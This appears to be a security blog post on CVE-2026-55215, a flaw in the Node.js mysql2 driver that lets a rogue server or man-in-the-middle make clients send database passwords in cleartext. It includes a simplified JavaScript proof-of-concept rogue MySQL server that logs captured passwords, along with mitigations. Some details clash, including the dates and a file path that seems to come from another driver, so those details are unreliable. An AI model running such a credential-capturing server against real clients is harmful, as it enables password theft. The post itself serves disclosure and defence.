Listen to this Post
How CVE-2026-55215 Works
The vulnerability resides in how the mysql2 driver handles authentication plugin switching. When a MySQL server initiates a connection, it advertises its preferred authentication plugin during the handshake. The client responds with the appropriate authentication data. However, the MySQL protocol allows the server to send an `AuthSwitchRequest` (packet type 0xFE) at any point during authentication, instructing the client to switch to a different plugin.
In mysql2, the `mysql_clear_password` authentication plugin is registered as a default standard plugin in `lib/commands/auth_switch.js` (line 21). When the server sends an `AuthSwitchRequest` requesting mysql_clear_password, the driver executes the switch without verifying that the connection is encrypted with TLS. The plugin implementation in `lib/auth_plugins/mysql_clear_password.js` simply returns `Buffer.from(password + ‘\0’)` — the password in plaintext with a null terminator.
The critical flaw is the absence of a security guard. By contrast, the `caching_sha2_password` plugin does check for SSL before sending cleartext credentials (line 77). But `mysql_clear_password` has no such protection.
Attack Scenario:
- Attacker operates a rogue MySQL server or performs a Man-in-the-Middle (MITM) attack on the network path.
- The rogue server advertises `caching_sha2_password` during the initial handshake.
- The client sends a hashed authentication response as expected.
- The server then replies with an `AuthSwitchRequest` packet, instructing the client to switch to
mysql_clear_password. - The mysql2 driver complies without checking TLS status and sends the password in plaintext.
6. The attacker captures the plaintext password.
When TLS is enabled without a pinned CA or server certificate, the driver sends credentials before completing certificate fingerprint validation. In lib/cmd/handshake/auth/handshake.js, a server that selects `mysql_clear_password` as the initial authentication plugin can receive the password before the post-TLS identity check. An active MITM can present a self-signed certificate, capture the database password, and use it to authenticate directly — even though the connector later rejects the server and closes the connection.
DailyCVE Form:
Platform: Node.js mysql2
Version: <3.22.0
Vulnerability: Cleartext password disclosure
Severity: High (CVSS 7.5)
Date: 2026-08-28
Prediction: 2026-04-09 (patch released in v3.22.0)
What Undercode Say:
Vulnerable Code Path:
– `lib/commands/auth_switch.js` (line 21) — registers `mysql_clear_password` as default
– `lib/auth_plugins/mysql_clear_password.js` — returns `Buffer.from(password + ‘\0’)` without TLS check
– `lib/cmd/handshake/auth/handshake.js` — sends credentials before certificate validation
Bash Commands to Check Version:
npm list mysql2 or cat package.json | grep mysql2
PoC – Rogue MySQL Server (Educational Purposes!):
// Rogue MySQL server that captures plaintext passwords from mysql2 clients
const net = require('net');
const server = net.createServer((socket) => {
// Initial handshake packet advertising caching_sha2_password
const handshake = Buffer.from([
// Protocol version, server version, etc.
// ... (simplified for demonstration)
0x0a, 0x35, 0x2e, 0x37, 0x2e, 0x33, 0x33, 0x00, // 5.7.33
// ... thread ID, salt, etc.
// Capability flags including CLIENT_PLUGIN_AUTH
// Authentication plugin: caching_sha2_password
]);
socket.write(handshake);
socket.on('data', (data) => {
// Client sends hashed response for caching_sha2_password
// Server responds with AuthSwitchRequest to mysql_clear_password
const authSwitch = Buffer.from([
0xfe, // AuthSwitchRequest
0x00, 0x00, 0x00, 0x00, // (packet length placeholder)
0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x63, 0x6c, 0x65, 0x61, 0x72, 0x5f,
0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x00, // "mysql_clear_password"
0x00 // empty salt
]);
socket.write(authSwitch);
// Client now sends password in plaintext — capture it!
socket.on('data', (pwd) => {
console.log('CAPTURED PASSWORD:', pwd.toString().replace(/\0/g, ''));
});
});
});
server.listen(3306, () => {
console.log('Rogue MySQL server listening on port 3306');
});
Protection from CVE-2026-55215:
- Upgrade to mysql2 v3.22.0 or later — this version disables `mysql_clear_password` by default
- Enable TLS with proper certificate validation — set `ssl` options with `rejectUnauthorized: true`
3. Use Unix sockets for local connections when possible - Set `enableCleartextPlugin: false` (default in v3.22.0+) to prevent cleartext auth
- Pin CA or server certificate to prevent MITM attacks
Impact:
- mysql2 has 9M weekly downloads on npm
- Any application connecting without TLS is vulnerable to credential theft
- Cloud environments with untrusted network paths are especially at risk
- Exposed passwords can lead to further compromise if reused elsewhere
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

